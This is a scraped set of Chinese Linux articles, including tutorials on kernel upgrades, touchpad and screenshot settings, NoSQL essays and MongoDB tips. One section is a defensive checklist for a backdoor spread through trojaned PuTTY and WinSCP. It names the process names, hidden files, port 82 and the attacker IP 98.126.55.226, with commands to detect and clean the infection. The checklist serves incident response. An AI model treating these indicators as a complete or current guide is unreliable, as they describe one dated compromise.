Skip to content Skip to main navigation Skip to footer

Linux

Linux:从Win角度认识Linux:一款实用的下载工具

一款实用的下载工具Get Linux

  近日,编者发现一个桌面小工具,名叫Get Linux是一款小型的Windows工具(后缀.exe),它可以为网友免去四处寻找Linux发行版下载地址的苦恼,在它提供的一个页面里网络了 100多种常见Linux发行版下载地址。不仅如此,Get Linux还区分32位和64位两种类型版本的下载,同时还表明该操作系统的版本信息和桌面截图。

https://dn-linuxcn.qbox.me/data/attachment/album/201201/26/093818b6fhrs16us3zzrtr.jpg Get Linux运行界面

  看到这么多的介绍,你肯定会询问下载地址,网友可以从这个地址进行下载:http://www.downloadcrew.com/article/26552-get_linux

https://dn-linuxcn.qbox.me/data/attachment/album/201201/26/093818i2iygawngcm7q0gs.jpg

Get Linux下载网页

  Get Linux无需安装,解压缩之后即可双击该软件运行,看准您要下载的Linux发行版,然后选择“32位”还是“64位”,即可点击“Download”进行下载之后,使用非常简单。   

https://dn-linuxcn.qbox.me/data/attachment/album/201201/26/09381833xxxmb5lfxmceyt.jpg

Get Linux下载状态

麻雀虽小五脏俱全

  麻雀虽小五脏俱全。Get Linux提供了100多种Linux,它同时还提供了一个搜索工具:输入你想要下载的操作系统名称,即可显示该页内容。

  并且,Get Linux还提供该操作系统的版本号、桌面环境、文件大小、起源地等四个信息,然后还会详细描述一下该操作系统的特色。

https://dn-linuxcn.qbox.me/data/attachment/album/201201/26/0938181t1s1zoh1tem91b3.jpg

Get Linux介绍Linux发行版信息

  对于Get Linux我们做进一步了解,我们发现它也是一个开源项目。

https://dn-linuxcn.qbox.me/data/attachment/album/201201/26/093818hz3vvipspsl22p2o.jpg

Get Linux简介

  同时,Get Linux还提供下载地址设置以及下载之后的响应操作。

https://dn-linuxcn.qbox.me/data/attachment/album/201201/26/093818oe7ev7vizi4vbyze.jpg

Get Linux设置

  不过,编者注意到一个细节问题,编者不能任意选择操作系统的不同版本下载,只能下载最新版本。如果网友想要下载Linux操作系统的老版本,那么只有到一 些网站上去查找了。Get Linux做得很人性化,如果网友需要相关其它信息,可以通过它提供了三个网站链接进行查询:Distrowatch、Youtube和Website。

https://dn-linuxcn.qbox.me/data/attachment/album/201201/26/093818kjh107sg5gj5pjju.jpg

Get Linux相关网站链接

来自:http://server.zol.com.cn/269/2694614_all.html

Linux:putty和WinSCP后门检查及清理方式

检查及清理方式

  • 检查 /var/log 是否被删除 # /usr/bin/stat /var/log如果被删除了,说明中招了
  • 查看 /var/log 文件夹内容 # ls -al /var/log如果文件很少,说明中招了
  • 监控名称为 fsyslog,osysllog 的进程 # /usr/bin/watch -n 1 /bin/ps -AFZ f \| /bin/grep syslog如果有名称为fsyslog或osyslog的进程,说明中招了,注意不要和正常的系统日志进程混淆
  • 检查 /etc/init.d/sshd 的文件头是否被篡改过 # /usr/bin/head /etc/init.d/sshd如果你分不清,请回本贴
  • 检查 /etc/init.d/sendmail 的文件头是否被篡改过 # /usr/bin/head /etc/init.d/sendmail如果你分不清,请回本贴
  • 检查是否有对外链接的 82 端口 # /bin/netstat -anp | /bin/grep ‘:82’如果有,而你又没设置过,说明已经中招了
  • 检查是否有链接到 98.126.55.226 的链接 # /bin/netstat -anp | /bin/grep ’98\.’ –color如果有,说明已经中招了
  • 检查 /etc 文件夹下的隐藏文件 .fsyslog .osyslog,检查 /lib 文件夹下的隐藏文件 .fsyslog .osyslog/usr/bin/find /etc -name ‘.*’ -printf ‘%a %c %t %M %g:%u %p\n’ | /bin/grep 2012 –color/usr/bin/find /lib -name ‘.*’ -printf ‘%a %c %t %M %g:%u %p\n’ | /bin/grep 2012 –color/usr/bin/find /etc -name ‘syslog’ -printf ‘%a %c %t %M %g:%u %p\n’ | /bin/grep 2012 –color/usr/bin/find /lib -name ‘syslog’ -printf ‘%a %c %t %M %g:%u %p\n’ | /bin/grep 2012 –color如果有近期修改过的名称包含fsyslog或osyslog的文件,说明已经中招了

恢复系统日志

  • 查看系统日志文件夹 # ls -al /var/log
  • 创建系统日志文件夹 # /bin/mkdir /var/log如果被删除的话需要创建
  • 查看系统日志服务 # /usr/bin/find /etc/init.d/ -name ‘*log*’需要区分出你的服务器所使用的日志服务
  • 关闭系统日志服务 # /sbin/service syslog stop你的服务器的日志服务的名称可能是另外一个名字
  • 启动系统日志服务 # /sbin/service syslog start你的服务器的日志服务的名称可能是另外一个名字
  • 创建错误登录日志文件 # /bin/touch /var/log/btmp
  • 设置错误登录日志文件用户组 # /bin/chown root:utmp /var/log/btmp
  • 设置错误登录日志文件权限 # /bin/chmod 600 /var/log/btmp
  • 创建登录日志文件 # /bin/touch /var/log/wtmp
  • 设置登录日志文件用户组 # /bin/chown root:utmp /var/log/wtmp
  • 设置登录日志文件权限 # /bin/chmod 664 /var/log/wtmp

恢复SELinux(安全增强Linux)设置

  • 查看 SELinux 状态 # /usr/sbin/sestatus -v
  • 检查 /var/log 文件夹的安全上下文 # /sbin/restorecon -rn -vv /var/log
  • 恢复 /var/log 文件夹的安全上下文 # /sbin/restorecon -r -vv /var/log
  • 检查 /etc 文件夹的安全上下文 # /sbin/restorecon -rn -vv /etc 2>/dev/null
  • 恢复 /etc 文件夹的安全上下文 # /sbin/restorecon -r -vv /etc 2>/dev/null
  • 检查 /lib 文件夹的安全上下文 # /sbin/restorecon -rn -vv /lib 2>/dev/null

Linux:CentOS Linux 升级内核步骤、方法

当前系统为CentOS Linux release 6.0 (Final),内核版本为2.6.32-71.el6.i686.由于最近内核出现最新的漏洞(linux kernel 又爆内存提权漏洞,2.6.39 内核无一幸免,所以将内核升级至3.2.2最新版本。

1. 查看当前系统内核

# uname -r
2 2.6.32-71.el6.i686

2. 下载linux-3.2.2内核包

# cd ~
# wget -c http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.2.2.tar.bz2
# tar jxvf  linux-3.2.2.tar.bz2
# cd linux-3.2.2

3. 配置内核并安装

# make mrproper  #清除环境变量,即清除配置文件
# make menuconfig  #在菜单模式下选择需要编译的内核模块

找到以下选中选项并选中networking support → networking options → network packet filtering framework(netfilter)

(1).Core netfilter configuration

  • 勾中”Netfilter connection tracking support” -m state相关模块是依赖它的,不选则没有。
  • 将netbios name service protocal support(new) 编译成模块,不然后面升级iptables后启动时会出错
  • 勾中“Netfilter Xtables support (required for ip_tables)”

(2).IP: Netfilter Configuration

  • 将 “IPv4 connection tracking support (require for NAT)” 编译成模块。
  • 勾中IP tables support (required for filtering/masq/NAT) 。
  • 将 “Full NAT” 下的 “MASQUERADE target support” 和 “REDIRECT target support” 编译成模块

(3).其它模块可以根据自己的需要进行选择,若不懂可以参考内核配置手册.

# make clean #确保所有东西均保持最新状态.
# make bzImage #生成内核文件
# make modules #编译模块
# make modules_install #安装模块
# make install #安装

4. 编辑 /etc/grub.conf 文件,将 default=1 改为 default=0

# cat /etc/grub.conf

 

# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE: You have a /boot partition. This means that
# all kernel and initrd paths are relative to /boot/, eg.
# root (hd0,0)
# kernel /vmlinuz-version ro root=/dev/mapper/VolGroup-lv_root
# initrd /initrd-[generic-]version.img
#boot=/dev/sda
default=1
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenu
title CentOS Linux (3.2.2)
root (hd0,0)
kernel /vmlinuz-3.2.2 ro root=/dev/mapper/VolGroup-lv_root rd_LVM_LV=VolGroup/lv_root rd_LVM_LV=VolGroup/lv_swap rd_NO_LUKS rd_NO_MD rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYBOARDTYPE=pc KEYTABLE=us crashkernel=auto rhgb quiet
initrd /initramfs-3.2.2.img
title centos (2.6.32-71.el6.i686)
root (hd0,0)
kernel /vmlinuz-2.6.32-71.el6.i686 ro root=/dev/mapper/VolGroup-lv_root rd_LVM_LV=VolGroup/lv_root rd_LVM_LV=VolGroup/lv_swap rd_NO_LUKS rd_NO_MD rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYBOARDTYPE=pc KEYTABLE=us crashkernel=auto rhgb quiet
initrd /initramfs-2.6.32-71.el6.i686.img

5. 重启系统,并查看内核

# reboot
# uname -r
3.2.2
 

Linux:Ubuntu Linux中使用快捷键截图选定区域

在WIN中,习惯了用QQ的CTRL-ALT-A来截取指定区域的截屏了,确实方便好用,不过在UBUNTU中,可以使用gnome-screenshot 来完成类似的功能——当然,截屏编辑等功能是没有的。

首先,打开“系统设置”中的“键盘”,在其中的“快捷键”中添加新的自定义快捷键。

名称输入任何你喜欢的名称,比如“截屏”,命令输入:

gnome-screenshot -a

点击应用之后,就出现了一条新的快捷命令,但还处于“禁用”状态,点击“禁用”,会显示为“新建快捷键…”,然后按下你希望用的快捷键,比如 CTRL-ALT-A。

这样,就可以了,你现在按下CTRL-ALT-A试试?

(有时候,这个快捷键会失效,有可能是这个快捷键在其它应用中也被使用了,可以修改为其它的快捷键;另外,按下快捷键时候要用力哦,稍微多按一会,等鼠标光标变成十字即可,似乎机器反应比较慢,呵呵。)

此外,如果你希望按下快捷键时,可以选择是否包括鼠标指针,是否延时等,可以在参数里面使用 -i 来调出交换设置界面。

最后,多说一句,gnome-screenshot命令已经默认绑定了快捷键 PrntScr 了,直接按这个会截取全屏;而ALT-PrntScr是截取当前窗口。

 

 

来源:https://linux.cn/article-297-1.html

Linux:Unix 目录结构的来历

Unix(包含Linux)的初学者,常常会很困惑,不明白目录结构的含义何在。

举例来说,根目录下面有一个子目录/bin,用于存放二进制程序。但是,/usr子目录下面还有/usr/bin,以及/usr/local/bin,也用于存放二进制程序;某些系统甚至还有/opt/bin。它们有何区别?

长久以来,我也感到很费解,不明白为什么这样设计。像大多数人一样,我只是根据《Unix文件系统结构标准》(Filesystem Hierarchy Standard),死记硬背不同目录的区别。

昨天,我读到了Rob Landley的简短解释,这才恍然大悟,原来Unix目录结构是历史造成的。

话说1969年,Ken ThompsonDennis Ritchie在小型机PDP-7上发明了Unix。1971年,他们将主机升级到了PDP-11。

当时,他们使用一种叫做RK05的储存盘,一盘的容量大约是1.5MB。

没过多久,操作系统(根目录)变得越来越大,一块盘已经装不下了。于是,他们加上了第二盘RK05,并且规定第一块盘专门放系统程序,第二块盘专门 放用户自己的程序,因此挂载的目录点取名为/usr。也就是说,根目录”/”挂载在第一块盘,”/usr”目录挂载在第二块盘。除此之外,两块盘的目录结 构完全相同,第一块盘的目录(/bin, /sbin, /lib, /tmp…)都在/usr目录下重新出现一次。

后来,第二块盘也满了,他们只好又加了第三盘RK05,挂载的目录点取名为/home,并且规定/usr用于存放用户的程序,/home用于存放用户的数据。

从此,这种目录结构就延续了下来。随着硬盘容量越来越大,各个目录的含义进一步得到明确。

  /:存放系统程序,也就是At&t开发的Unix程序。

  /usr:存放Unix系统商(比如IBM和HP)开发的程序。

  /usr/local:存放用户自己安装的程序。

  /opt:在某些系统,用于存放第三方厂商开发的程序,所以取名为option,意为”选装”。

来自:http://www.ruanyifeng.com/blog/2012/02/a_history_of_unix_directory_structure.html

Linux:SQL数据库的终结?

第一部分

SQL 的发展起始于 E.F.Codd 博士1970年六月发表于计算机协会的“通信”上的一篇论文, “大型共享数据库的关系模型“。当时他和他的在IBM工作的同事 Donald Chamberlin 和 Raymond Boyce 正在研究一种查询语言(最初叫做SQUARE, Specifying Queries As RelationalExpressions 的首字母缩写),并于1974年以论文”SEQUEL:A Structured English Query Language“将此成就推向顶峰。从此以后, SQL 就成了关系数据库系统的最主要的语言。近些年,软件开发业内出现了一些体系框架和架构,主要目的是试图隐藏(或完全放弃)直接使用SQL 和关系数据库,让开发人员能够在应用开发中专注于用户界面,业务逻辑和平台支持上。 同时出现了一批被认为是关系型数替代品,称之为”NoSQL”的数据库。难道我们能够成为 SQL 和关系型数据库终结的见证人吗?

在一个由Mike Riley主持的十二月 DDJ podcast 访谈中,我被问到:“随着ORMs(Object Relational Mapping 对象关系映射)的流行,有些软件开发者们认为SQL已经失去其价值了。你对这种观点有什么看法?” 我整个新年假期都在想这个问题,思考这个问题所隐含的意义已及ORM的未来,我花一段时间研究了一下像 Ruby on Rails Active Record 和 Hibernate 这样的框架。这些框架仍然需要开发人员掌握关系数据的设计、开发和维护等知识。 Microsoft所开发的LINQ(.NET Language Integrated Query)也只是减少了编程语言和数据库语言之间的不兼容问题。

NoSQL 运动”和 分布式数据存储(Cloud based data stores) 都是致力于彻底的将开发人员和SQL语言和关系数据库之间的依存斩断。一些程序员认为 NoSQL 运动是一种全新的感念。 面向对象式数据库(Object databases) 最早出现于20世纪80年代, Ray Ozzie 于20世纪90年代最早将它商用于Lotus Notes的文档数据存储业务。Charlie Caro, 资深软件工程师,在美国 Embarcadero 开发 InterBase SQL 数据库 引擎,他告诉我:“在以前,人们普遍认为,不对数据的并发操作进行控制的数据库基本不可能被大家广泛接受。但 Ozzie 认识到,分布式、可复制性和易于安装的特征所带来的好处远胜于在管理文档数据和消息说很少能遇到的并发更新冲突控制所带来的好处。而且,如果文档数据如果需要确保被正确的修改、不能丢失数据,我们可以把配置切换到并发控制状态上,这是可选择的。但缺省状态是不考虑更新冲突控制的。”

NoSQL, 根据 WikiPedia 上的解释,是 “一种泛称(umbrella term),指那些非关系性的、定义不是很明确的数据存储仓库。“这个术语最早是 Rackspace 公司 的员工 Eric Evans 发明的。在他 上年十月发表的博客 里出现了 NoSQL (现在普遍认为是 Not Only SQL 的意思) 这个词。这篇博客里真正的闪光点是”我们之所以要寻找一个其它类型的数据库的根本原因是想解决关系型数据库存在的各种弊端。“ Adam Keys 在他的博客 The Real Adam blog post 提供了另一个相似的术语:”Post-Relational”。一些 NoSQL 数据库还把消除那种关系型数据库对计算机资源、内存占用的问题作为一个目标。 NoSQL 的其他目标还包括:弱化与编程语言的关系,使用web技术和RPC调用方式可访问,以及可切换的数据查询方式。

在最近的一篇博客”关于”NoSQL” 的讨论其实与SQL无关“里 Michael Stonebraker 教授将 SQL 和 NoSQL 数据库进行了对比。 SQL 和 NoSQL 数据库可以通过下面的几个特性和性能进行部分或全面比较。 (注意:应该有更多的特征可以添加到下面的列表里。欢迎在评论里追加你认为能够区别这两种数据库的特征):

  • 横向和纵向扩展能力 – 关系型数据库(传统的数据库)通常部署在一台服务器上,通过增加处理器、内存和硬盘来进行升级。 部署在多台服务器上的关系型数据库通常是依赖相互复制来保持数据同步。 NoSQL 数据库可以部署在单服务器上,但更多的是部署成云状分布式 (NoSQL:分布式和可扩展的非关系型数据库系统)。
  • 列,key/value存储,数组(Tuples)存储 – 关系型数据库通常是有表或视图里的字段构成(固定的结构,用各种操作相互关联)。 NoSQL 数据库通常存储的是一对键值或 数组式(Tuples) (结构不固定,只是一个有顺序的数据队列)。
  • 数据的内存和硬盘使用 – 关系型数据库通常是驻留在一个硬盘内或一个网络存储空间里。SQL查询或存储过程操作会把数据集提取到内存空间里。一些 (并不是全部) NoSQL 数据库可以直接在硬盘上操作,也可以通过内存来加快速度。
  • 面向文档型(Document-Oriented), 面向集合型(Collection-Oriented), 面向列型(Column-Oriented),面向对象型(Object-Oriented), 面向有序集合型(Set-Oriented), 面向行型(Row-Oriented) – 面向文档型数据库 存储的是文档、属性和XML。面向集合型的数据集提供了更适合面向对象编程语言的特性。关系型数据库的特性是用表,行,列(面向列型)来组织数据。 SQL 查询操作通常返回的是指向包含特定列的某行或某些行的集合的指针。面向对象的数据库之所以出现是由于面向对象的编程的流行,但目前为止(以及将来很多年里)关系型数据库仍是数据存储模式里占有霸主地位。面向对象型数据库也是 NoSQL 数据库吗? 对象关系映射(ORM)框架的兴起将面向对象编程和大多数关系型数据紧紧的绑到了一起。 NoSQL 数据库里的数据通常是存储成对象、key/value、或数组(tuples)形式。 NoSQL 数据库的查询操作通常由编程代码或一个接口完成。

在一次邮件交流里,Charlie Caro 对我说了下面的话:”如果 Facebook 需要去管理 100,000,000 个用户的个人信息,一个分布式的、不依赖于环境的,、key-value 形式的存储模式是最适合不过了。在这样大数量的用户里查询会没有问题,但只要一个用户的更新操作就可能让传统的数据库过载宕机。多用户读数据时一个用户更新数据,这需要并发控制。在多数情况下, NoSQL 方案之所以能吸引它的用户群的原因是它的易于安装和使用的特征, SQL 数据库需要较多的运行条件(schema 等), 但正是这些schema方案给了并行关系型数据系统的高性能。易使用的好处更多的是体现在编程开发的时候。今天的许多程序员都更倾向于使用脚本语言,而不是相同功能的更安全的静态类型检查的编译型语言。脚本型语言只是容错性强和易于上手,有些软件能把这些脚本程序编译成 .NET/Java 字节码来提高运行性能。” 我和他都认为,所有的这一切都是为了让我们在工作中有更好的工具使用,而且从来都是这样!当有螺丝刀时谁还用锤子去钉螺丝钉。

Linux:在UBUNTU中关闭DELL N4050的ALPS触摸板

新用一台DELL INSPIRON N4050的笔记本,经常发现键盘输入的时候,输入焦点莫名其妙的移动到了别的地方。一直大惑不解,还曾经以为是我的无线鼠标受到了信号干扰,经过实验,发现关闭无线鼠标该问题依旧存在。

今天始终忍受不了了,遂仔细搜索了网上的资料。

1、DELL N4050的触摸板在UBUNTU 11.10中,不像以前作为独立的Synaptics Touchpad设备出现了,所以在控制面板里面是没有禁用、设置触摸板的选项卡的。

2、新的触摸板是ALPS触摸板,在UBUNTU中是当作USB鼠标的,相当于一个串联的鼠标,和你另外接的USB鼠标共同工作。

3、既然不作为触摸板设备出现,那只能禁用它了。可以通过以下命令先找到它的ID:

wxy@xingyuwang-ubuntu:~$ xinput list
⎡ Virtual core pointer                    	id=2	[master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer              	id=4	[slave  pointer  (2)]
⎜   ↳ 2.4GHz 2way RF Mouse Receiver           	id=11	[slave  pointer  (2)]
⎜   ↳ ImPS/2 ALPS GlidePoint                  	id=14	[slave  pointer  (2)]
⎣ Virtual core keyboard                   	id=3	[master keyboard (2)]
    ↳ Virtual core XTEST keyboard             	id=5	[slave  keyboard (3)]
    ↳ Power Button                            	id=6	[slave  keyboard (3)]
    ↳ Video Bus                               	id=7	[slave  keyboard (3)]
    ↳ Video Bus                               	id=8	[slave  keyboard (3)]
    ↳ Power Button                            	id=9	[slave  keyboard (3)]
    ↳ Sleep Button                            	id=10	[slave  keyboard (3)]
    ↳ Integrated Webcam                       	id=12	[slave  keyboard (3)]
    ↳ AT Translated Set 2 keyboard            	id=13	[slave  keyboard (3)]
    ↳ Dell WMI hotkeys                        	id=15	[slave  keyboard (3)]

以上高亮的第5行,即ALPS触摸板,其设备ID在我这里是14,在你的机器上可能不同。

4、然后通过以下命令来禁用它:

wxy@xingyuwang-ubuntu:~$ xinput set-prop 14 "Device Enabled" 0

这样,这个触摸板以及它的鼠标键就都禁用了。整个世界清静了!

为了方便,你可以将以上命令放到系统启动脚本中,也可以做个命令启动器放到桌面上。

5、当然,你随时还可以通过以下命令来启用它:

wxy@xingyuwang-ubuntu:~$ xinput set-prop 14 "Device Enabled" 1

 

来源:https://linux.cn/article-338-1.html

Linux:MongoDB 最佳实践

已经有很多关于 NoSQL 选择的文章了。影响你选择数据库的因素有:读/写操作的吞吐量,持久性,一致性,延迟性等等。Nathan Hurst 的文章“Visual Guide to NoSQL System” 很好的总结了这一点。

选择合适的NoSQL数据库并不是本文要讨论的内容,但是请你在使用NoSQL前做一些调查。没有一个数据库可以适合所有情况。这篇文章假设你选择了mongoDB。

NoSQL 通用的最佳实践

1. 彻底的测试

模拟你的生产环境,包括流量来进行测试。假如你的测试环境不能达到生产环境的压力,你将无法发现性能瓶颈和架构缺陷。

2. RDBMS 并不一定能迁移到 NoSQL

任何在RDBMS上工作的好好的东西并不一定能在MongoDB上工作。所以请你做好心理准备,仔细对比数据库的功能。为了更好的性能,你应该根据 10gen 的建议来设计你的文档和查询。你的应用也许需要重新架构以便于迁移到非关系型数据库。

3. 考虑你的数据的一致性和持久性需求

这一点很重要!MongoDB通过多实例备份来提解决数据持久性问题。我们不推荐你在生产环境中只使用一个MongoDB实例。你必须理解为什么要这么做。

MongoDB 最佳实践

1. 始终启用备份

备份能保证你应用的高可用性。假如你的一个节点down了,第二节点可以迅速启用,你的应用不会中断。

2. 使用最新版本

10gen在不断的发布更新,特别是2.0.x包含了很高的性能提升和并行改进,索引改进和bug修复。如果你还在使用 1.6.3的话,你应该尽快升级。

3. 不要在32位的系统上跑MongoDB

MongoDB在32位系统上有“2.5GB数据限制”。它的存储引擎使用内存映射来读取文件以获得更好的性能。这个功能依赖于内存寻址,而32位系统的内存不能超过4GB。

4. 默认开启日志

MongoDB支持数据库操作的提前日志(write-ahead journaling)。这个功能有助于灾难恢复。

5. 注意你数据文件的位置

你应该保证你的MongoDB的数据文件是存储在物理驱动器上,例如 /data/mongodb。当然你也可以使用虚拟的驱动器,但是必须非常小心。因为它有可能会影响到你的集群架构。我们建议你使用 Amazon EBS 来存放你的数据库文件。

6. 保证足够大的内存

为了保证整个集群的性能,你要确保整个所有MongoDB的工作实例(working set)包括索引可以完全装入内存。如果你发现“page faults”的概率在增加,很有可能mongoDB的数据量超出了你的内存。在这种情况下你有两种选择:加内存,或者创建分片集群(Sharding)。我们建议你先考虑加内存。

7. 保持 65% 以内的压力

如果你发现你的集群压力达到了65%,那么你应该考虑扩大你的集群了。通常,你应该保证数据库压力低于65%。

8. 特别小心分片集群

分片集群需要你充分理解你应用的数据访问方式。你应该充分了解MongoDB的分片工作方式,并且确认你确实需要这个功能。还有,选择一个分片钥匙(sharding key)是对于性能也是很重要的。

配置服务器对于一个集群的健康也是很重要的。在分片集群的环境中,你必须有三台配置服务器。永远不要删除配置服务器的数据,时常备份这些数据。这些配置服务器也需要64位的环境。还有,不要把三台配置服务器放在同一台机器上!

9. 使用 Mongo MMS 来图形化的监控你的数据库

如果你还没有使用 Mongo MMS的话,我强烈推荐这个工具。10gen 正在大力开发这个产品。它提供了一个非常友好的可视化的界面来监控你的MongoDB集群。

10. MongoDB 资源

技术总是在不断进步,你需要市场关注这些信息:

原文链接,OSChina.NET 原创编译

Linux:基于用户投票的排名算法(一):Delicious和Hacker News

互联网的出现,意味着”信息大爆炸”。

用户担心的,不再是信息太少,而是信息太多。如何从大量信息之中,快速有效地找出最重要的内容,成了互联网的一大核心问题。

各种各样的排名算法,是目前过滤信息的主要手段之一。对信息进行排名,意味着将信息按照重要性依次排列,并且及时进行更新。排列的依据,可以基于信息本身的特征,也可以基于用户的投票,即让用户决定,什么样的信息可以排在第一位。

下面,我将整理和分析一些基于用户投票的排名算法,打算分成四个部分连载,今天是第一篇。

一、Delicious

最直觉、最简单的算法,莫过于按照单位时间内用户的投票数进行排名。得票最多的项目,自然就排在第一位。

旧版的Delicious,有一个”热门书签排行榜”,就是这样统计出来的。

它按照“过去60分钟内被收藏的次数”进行排名。每过60分钟,就统计一次。

这个算法的优点是比较简单、容易部署、内容更新相当快;缺点是排名变化不够平滑,前一个小时还排在前列的内容,往往第二个小时就一落千丈。

二、Hacker News

Hacker News是一个网络社区,可以张贴链接,或者讨论某个主题。

每个帖子前面有一个向上的三角形,如果你觉得这个内容很好,就点击一下,投上一票。根据得票数,系统自动统计出热门文章排行榜。但是,并非得票最多的文章排在第一位,还要考虑时间因素,新文章应该比旧文章更容易得到好的排名。

Hacker News使用Paul Graham开发的Arc语言编写,源码可以从arclanguage.org下载。它的排名算法是这样实现的:

将上面的代码还原为数学公式:

其中,

  P表示帖子的得票数,减去1是为了忽略发帖人的投票。

  T表示距离发帖的时间(单位为小时),加上2是为了防止最新的帖子导致分母过小(之所以选择2,可能是因为从原始文章出现在其他网站,到转贴至Hacker News,平均需要两个小时)。

  G表示”重力因子”(gravityth power),即将帖子排名往下拉的力量,默认值为1.8,后文会详细讨论这个值。

从这个公式来看,决定帖子排名有三个因素:

第一个因素是得票数P。

在其他条件不变的情况下,得票越多,排名越高。

上图可以看到,有三个同时发表的帖子,得票分别为200票、60票和30票(减1后为199、59和29),分别以黄色、紫色和蓝色表示。在任一个时间点上,都是黄色曲线在最上方,蓝色曲线在最下方。

如果你不想让”高票帖子”与”低票帖子”的差距过大,可以在得票数上加一个小于1的指数,比如(P-1)^0.8。

第二个因素是距离发帖的时间T。

在其他条件不变的情况下,越是新发表的帖子,排名越高。或者说,一个帖子的排名,会随着时间不断下降。

从前一张图可以看到,经过24小时之后,所有帖子的得分基本上都小于1,这意味着它们都将跌到排行榜的末尾,保证了排名前列的都将是较新的内容。

第三个因素是重力因子G。

它的数值大小决定了排名随时间下降的速度。

上图可以看到,三根曲线的其他参数都一样,G的值分别为1.5、1.8和2.0。G值越大,曲线越陡峭,排名下降得越快,意味着排行榜的更新速度越快。

知道了算法的构成,就可以调整参数的值,以适用你自己的应用程序。

[参考文献]

  * How Hacker News ranking algorithm works

  * How to Build a Popularity Algorithm You can be Proud of

(完)

作者: 阮一峰

VIA http://www.ruanyifeng.com/blog/2012/02/ranking_algorithm_hacker_news.html

Linux:十大精选开源软件推荐:编程化繁为简

开源这块甜蜜的巧克力酱备受宠爱,似乎人人都想尝尝。这一次,我为开发者们贡献十款开源编程工具,它们分别是Rhomobile Rhodes、Git、Gerrit、Hadoop等,这十款开源工具会越来越流行,想知道其中的奥秘吗?让我们一起来看看它们的神奇之处吧!

  1.Rhomobile Rhodes

  Ruby可能是GitHub上的第二大流行编程语言,但如果你想从事与iPhone相关的开发工作,Ruby可就爱慕能助了。iOS平台上最为给力的是Objective-C语言,这也许是赚钱的利器之一吧!

   Rhomobile Rhodes是一个捆绑了Ruby网站的开源平台,能够将Ruby网站直接嵌入到iPhone App中。您还可以选择使用jQuery Mobile 来调整布局,看起来它更像一个Web app,。此外,Rhomobile Rhodes框架支持跨平台移动应用开发,可以让开发者的应用实现在多个不同的设备上运行,如iPhone、Windows Mobile和BlackBerry等,提供了很多炫酷的功能。

  2.Git开源编程工具

 

   最近谈到版本控制,所有人都在谈Git。随着越来越多的开发人员继续使用CVS和Subversion时,也会有更多的项目陆续转移到Git上,这是一 款源代码控制工具,对于缺少一个主要的中心库的团队而言,这款工具非常重要。Git的操作非常快速、你可以把时间花在更有意义的事情上。在没有网络的情况 下如何工作?如果你用SVN或者CVS的话就很麻烦。而Git可以让你在本地做所有操作,提交代码,查看历史,合并,创建分支等等。 使用Git,你就不必担心版本丢失的问题,因为任何一个人机器上的版本都有一个完整的备份。Git支持整个代码提交的回滚操作,即使不小心犯了错误,也可 以及时撤销,并恢复相应的提交操作。随着越来越多的公司使用开源项目Git,包括Ruby On Rails,jQuery,Perl,Debian,Linux Kernel等等,聪明的程序员也应该随大流吧!

  3.开源编程工具Gerrit

  

         Gerrit 是一个基于 Web 的代码评审和项目管理的工具,面向基于 Git 版本控制系统的项目。首先贡献者的代码通过 git 命令(或 repo 封装)推送到 Gerrit 管理下的 Git 版本库,推送的提交转化为一个一个的代码审核任务,审核任务可以通过 refs/changes/ 下的引用访问到。代码审核者可以通过 Web 界面查看审核任务、代码变更,通过 Web 界面做出通过代码审核或者打回等决定。测试者也可以通过 refs/changes/ 引用获取(fetch)修订对其进行测试,如果测试通过就可以将该评审任务设置为校验通过(verified)。最后经过了审核和校验的修订可以通过 Gerrit 界面中提交动作合并到版本库对应的分支中。

  4.开源编程工具 Hadoop

  Hadoop是一个工具包,利用分布式原理将文件部署在多台服务器上。Google正在急于部署多台服务器来抓取网页,而Hadoop正好派上用场。

  有很多衍生品,将Hadoop绑定代码来处理一些特殊问题。比如,Mahout是一款可扩展的框架,用于分析大数集,Hive提供了数据仓库,该数据仓库可以使用HiveQL实现并行搜索查询。这种方法较为流行,尤其是用来处理大批量的Web 日志。

 ###NextPage###

  5.开源编程工具 jQuery

   这些天,许多Web开发者在使用JavaScript之前就开始忙于学习jQuery了,因为jQuery相比于JavaScript,操作DOM更简 单,也更有效率。它如此盛行,有一部分原因在于它庞大的插件库,甚至有更多的插件。这些插件形成了强大的生态系统,提供了各种有趣的工具来优化网站,比如 jQuery Mobile,可以产生更好的应用,运行在智能手机更小的屏幕上。

  6.开源编程工具Eclipse Marketplace

  提起编程工具,很少有人不会想到Eclipse。无论是哪种编程语言,都有相应的插件,比如PHP、Ruby和C语言,都和这款IDE配合得天衣无缝。

   现在,Java平台被广泛使用的IDE(集成开发环境)Eclipse也推出了自己的软件商店Eclipse Marketplace. Eclipse Marketplace就是这么一个站点,可以帮助用户挖掘出他们所需要的工具。从目前Eclipse软件商店的网站来看,该商店共分工具插件、中间件、 富客户端平台和培训咨询四大类应用,目前已上线1000多款应用,主要集中了Eclipse大量的插件。

  7.开源编程工具Firebug

  有越来越多的程序员纷纷开始关注浏览器的嵌入工具,Firefox插件Firebug就成为了一路披荆斩棘的佼佼者。

   Firebug生态圈是如此的肥沃,以出乎意料的方式,派生了基于Firebug扩展的子插件。比如FirePython,它并没有内嵌到浏览器中,但 却可以入驻到服务器端,将调试信息发送到浏览器中。多亏了Firebug,所有主流的浏览器能够提供图片、代码等详细信息。

        8.开源编程工具CoffeeScript

值得推荐的十款开源编程工具

   许多程序员都无法忍受复杂的语法带来的困扰。CoffeeScript可以看做是一个JavaScript的预编译器,而且是个完整的编译器。“在各种 零散的分号和括号语法下,JavaScript有一套自己的对象模型,而CoffeeScript 会以一种简单的方式全方位呈现JavaScript的真面目,使得整个JavaScript的编程过程看起来很像Python”。

       9.开源编程工具NoSQL

   NoSQL趋势几年前就开始蔓延了,随着互联网web2.0网站的兴起,传统的关系数据库在应付web2.0网站,特别是超大规模和高并发的SNS类型 的web2.0纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。

  越来越多的网站意识到未来大批数据将不再需要Oracle了,NoSQL开始白热化了。

  最新工具会简化云端部署NoSQL的过程。 比如Apache Cassandra是一套开源分布式Key-Value存储系统。它最初由Facebook开发,用于储存特别大的数据。Facebook目前在使用此系统。

